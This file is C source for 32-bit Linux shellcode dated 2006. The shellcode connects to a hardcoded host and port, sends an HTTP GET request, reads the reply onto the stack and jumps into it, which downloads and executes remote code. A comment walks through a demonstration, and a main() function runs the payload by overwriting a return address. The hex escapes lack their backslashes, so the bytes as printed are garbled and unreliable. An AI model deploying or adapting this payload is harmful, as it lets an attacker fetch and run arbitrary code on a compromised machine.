/* (linux/x86) HTTP/1.x GET, Downloads and JMP - 68 bytes+
 *
 * This shellcode allows you to download a binary code straight off a standard HTTP server
 * and execute it. The downloaded shellcode (e.g. binary code) will be executed on the stack.
 *
 * <DEMONSTRATION>:
 *
 * > Starting by creating a very simple shellcode, that will be downloaded and execute.
 * 
 * root@magicbox:/tmp# cat foobar.s
 *	.section .text
 *      .global _start
 *      _start:
 *
 *		movl $0x4, %eax
 *              movl $0x1, %ebx
 *
 *              call _doint
 *                      .ascii "Hello World!"
 *			.byte 0xa
 *              _doint:
 *              popl %ecx
 *              movl $0xd, %edx
 *              int $0x80
 *
 *              movl $0x1, %eax
 *              int $0x80
 *
 *		# Reverse CALL
 *              call _start
 *
 * > The only requirement from the downloaded shellcode, is that it will include a reverse 
 *   CALL to itself. As this shellcode does not parse the HTTP header, it has no way to know 
 *   where the downloaded shellcode begins or ends. Therefor it realys on the downloaded 
 *   shellcode to supply that, by including a CALL in the bottom, which will be JMP into.
 *
 * > Compile the given shellcode 
 *
 * root@magicbox:/tmp# as -o foobar.o foobar.s
 * root@magicbox:/tmp# ld -o foobar foobar.o
 *
 * > Convert this file into a raw binary (headerless, formatless)
 *
 * root@magicbox:/tmp# objcopy -O binary foobar foobar.bin
 *
 * > Host this file, on some HTTP server (I haved used Apache/1.3.34)
 *
 * > Use gen_httpreq.c to generate a URL request (e.g. /foobar.bin)
 *
 * > Paste the gen_httpreq.c output, into this shellcode at the marked place.
 *
 * > Compile this shellcode w/ the gen_httpreq output in it.
 *
 * > Execute this shellcode
 * 
 * root@magicbox:/tmp# gcc -o http-download-jmp http-download-jmp.c
 * root@magicbox:/tmp# ./http-download-jmp
 * Hello World!
 * root@magicbox:/tmp#
 *
 * <LINKS/UTILITIES>:
 *
 *      gen_httpreq.c, generates a HTTP GET request for this shellcode
 *      > http://www.tty64.org/shellcode/utilities/gen_httpreq.c
 *
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x6ax66"              // push $0x66 
	"x58"                  // pop %eax 
	"x99"                  // cltd 
	"x6ax01"              // push $0x1 
	"x5b"                  // pop %ebx 
	"x52"                  // push %edx 
	"x53"                  // push %ebx 
	"x6ax02"              // push $0x2 
	"x89xe1"              // mov %esp,%ecx 
	"xcdx80"              // int $0x80 
	"x5b"                  // pop %ebx 
	"x5d"                  // pop %ebp 

				//
	"xbex80xffxffxfe"  // mov $0xfeffff80,%esi 
				// (0x0xfeffff80 = ~127.0.0.1)
				//

				//
	"x66xbdx91x1f"      // mov $0x1f91,%bp 
				// (0x1f91 = 8081/tcp)
				//

	//
	// "x66xbdxafxff"	// mov $0xffaf, %bp
	//			// (0xafff = ~0080/tcp)
	// "x66xf7xd5"       // not %bp
	//

	"xf7xd6"              // not %esi 
	"x56"                  // push %esi 
	"x0fxcd"              // bswap %ebp 
	"x09xdd"              // or %ebx,%ebp 
	"x55"                  // push %ebp 
	"x43"                  // inc %ebx 
	"x6ax10"              // push $0x10 
	"x51"                  // push %ecx 
	"x50"                  // push %eax 
	"xb0x66"              // mov $0x66,%al 
	"x89xe1"              // mov %esp,%ecx 
	"xcdx80"              // int $0x80 

	//
	// <paste here the code, that gen_httpreq.c outputs!>
	//

	"x89xe1"              // mov %esp,%ecx 
	"xb0x04"              // mov $0x4,%al 
	"xcdx80"              // int $0x80 

	//
	// <_recv_http_request>:
	//

	"xb0x03"              // mov $0x3,%al 
	"x6ax01"              // push $0x1 
	"x5a"                  // pop %edx 
	"xcdx80"              // int $0x80 
	"x41"                  // inc %ecx 
	"x85xc0"              // test %eax,%eax 
	"x75xf4"              // jne <_recv_http_request> 
	"x83xe9x06"          // sub $0x6,%ecx 
	"xffxe1";             // jmp *%ecx 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-03-12]